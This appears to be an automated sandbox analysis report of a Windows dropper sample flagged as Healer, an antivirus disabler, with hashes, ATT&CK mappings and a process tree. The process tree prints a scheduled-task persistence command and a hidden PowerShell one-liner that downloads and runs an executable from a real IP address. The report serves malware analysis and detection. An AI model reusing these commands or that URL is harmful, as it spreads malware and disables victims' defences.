Overview

overview

10

Static

static

5

MD250203AA...xx.exe

windows7-x64

10

MD250203AA...xx.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/03/2025, 06:06

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General

  • Target

    MD250203AAAAU-000001_R1197_RANSOM_6415481494_94f5025565ef015551cba6496fff45e9xx.exe

  • Size

    938KB

  • MD5

    94f5025565ef015551cba6496fff45e9

  • SHA1

    b84200b92c5ea7aefec65f52720341d1678dd004

  • SHA256

    c5cd175304b9d1990a2a60a3e2ae06ea3875767af0761a33c2f4a93a6c490a70

  • SHA512

    e237e2c18fcf3f1982dd989395595fbb43f23b01c313e369cc09b558a6c62cb98914e921ebffba734a11216d72a14cc0544f042adcf0a0b3fd8141d27176343d

  • SSDEEP

    24576:yqDEvCTbMWu7rQYlBQcBiT6rprG8aegl:yTvC/MTQYxsWR7aeg

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MD250203AAAAU-000001_R1197_RANSOM_6415481494_94f5025565ef015551cba6496fff45e9xx.exe
    "C:\Users\Admin\AppData\Local\Temp\MD250203AAAAU-000001_R1197_RANSOM_6415481494_94f5025565ef015551cba6496fff45e9xx.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn DqhkHmaptjx /tr "mshta C:\Users\Admin\AppData\Local\Temp\GTPBSWav2.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3460
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn DqhkHmaptjx /tr "mshta C:\Users\Admin\AppData\Local\Temp\GTPBSWav2.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:5024
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\GTPBSWav2.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'BDDFIMPYBYR93EPBQJAQUD2KUNEWBUZV.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2324
        • C:\Users\Admin\AppData\Local\TempBDDFIMPYBYR93EPBQJAQUD2KUNEWBUZV.EXE
          "C:\Users\Admin\AppData\Local\TempBDDFIMPYBYR93EPBQJAQUD2KUNEWBUZV.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

5
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

4
T1012

System Information Discovery

3
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\TempBDDFIMPYBYR93EPBQJAQUD2KUNEWBUZV.EXE
    Filesize

    1.7MB

    MD5

    03a574d64f0e62c5e117a5f5acf137e4

    SHA1

    93ba2b5bdac91342c9eeaeaf3e44cc1793ee6d90

    SHA256

    dcc540b3c86a167bb0cf71e8d4598f7566fe0f625d64ffe7a37f0d5f502be747

    SHA512

    d1b76d82c522ccb157dcd5155011619b36baf3516cf08cb6bc98fb9bc009230e5c53d77f5d8adc0e85dde678b4b3542823919ee6490533df8250078caca1b9b1

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\GTPBSWav2.hta
    Filesize

    726B

    MD5

    f1c1b15512e163479e71ff3b2c8cfc4c

    SHA1

    87b0079975d55eb46f99a8e5d617d96593eb7141

    SHA256

    d16345f9626e8002e557c7c57a63aa8ab01c75ce153e69851884db29b66470a9

    SHA512

    8d1bbeb070cbbed27854cde3532d62d826b1ddac39eee3c53e81bc1abbe809e28aa133afffbe4db18e940e8d2835f21f9693b227c41165483e9ee45a8a763209

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jndbrzer.dhj.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/2324-6-0x0000000006300000-0x0000000006366000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2324-22-0x0000000007E00000-0x0000000007E96000-memory.dmp

    Filesize

    600KB

    Download

  • memory/2324-4-0x0000000005A90000-0x0000000005AB2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2324-3-0x0000000005B70000-0x0000000006198000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/2324-16-0x0000000006370000-0x00000000066C4000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/2324-17-0x0000000006940000-0x000000000695E000-memory.dmp

    Filesize

    120KB

    Download

  • memory/2324-18-0x0000000006970000-0x00000000069BC000-memory.dmp

    Filesize

    304KB

    Download

  • memory/2324-19-0x0000000008260000-0x00000000088DA000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/2324-20-0x0000000006E40000-0x0000000006E5A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/2324-5-0x0000000006290000-0x00000000062F6000-memory.dmp

    Filesize

    408KB

    Download

  • memory/2324-23-0x0000000007D90000-0x0000000007DB2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2324-24-0x0000000008E90000-0x0000000009434000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/2324-2-0x0000000002FF0000-0x0000000003026000-memory.dmp

    Filesize

    216KB

    Download

  • memory/3056-35-0x0000000000460000-0x00000000008B2000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/3056-38-0x0000000000460000-0x00000000008B2000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/3056-39-0x0000000000460000-0x00000000008B2000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/3056-41-0x0000000000460000-0x00000000008B2000-memory.dmp

    Filesize

    4.3MB

    Download

  • memory/3056-44-0x0000000000460000-0x00000000008B2000-memory.dmp

    Filesize

    4.3MB

    Download